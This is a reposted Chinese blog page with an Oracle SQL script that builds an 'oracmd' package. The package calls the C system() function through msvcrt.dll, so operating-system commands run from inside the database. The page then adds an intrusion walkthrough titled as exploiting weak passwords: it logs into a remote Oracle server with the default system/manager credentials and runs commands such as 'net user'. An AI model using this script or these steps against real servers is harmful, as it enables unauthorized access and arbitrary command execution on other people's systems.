欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

oracle executesqlcommand,Oracle Execute Command Sql Script in Win

发布时间:2025/3/21 编程问答 61 豆豆
生活随笔 收集整理的这篇文章主要介绍了 oracle executesqlcommand,Oracle Execute Command Sql Script in Win 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

-- ----------------------------------------------------------------------------

-- SQL server下可以通过cmd_shell调用系统命令,其实Oracle下也可以。

--这个SQL就是建立一个类似于sql Server下cmd_shell的过程。

-- ----------------------------------------------------------------------------

--                            windows下的cmd_shell

--            在win2k下的oracle817测试成功

--                           benjurry@xfocus.org

--     使用方法:

--1、以dba 权限用sqlplus登陆oracle,

--2、假设这个文件放在d:\win_oracmd.sql,则在SQLplus中输入:@d:\win_oracmd.sql

--3、在sqlplus下输入 exec oracmd.exec ('dir > c:\dir.txt');

-- ----------------------------------------------------------------------------

CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';

/

show errors

CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

CREATE OR REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME "system"

LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

show errors

补充:

利用弱口令进行入侵:

C:\>sqlplus /nolog

SQL> connect

system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));

SQL> exec oracmd.exec ('dir >c:\dir.txt');

PL/SQL 过程已成功完成。

SQL> exec oracmd.exec ('net user >d:\cmd.txt');

PL/SQL 过程已成功完成。

总结

以上是生活随笔为你收集整理的oracle executesqlcommand,Oracle Execute Command Sql Script in Win的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。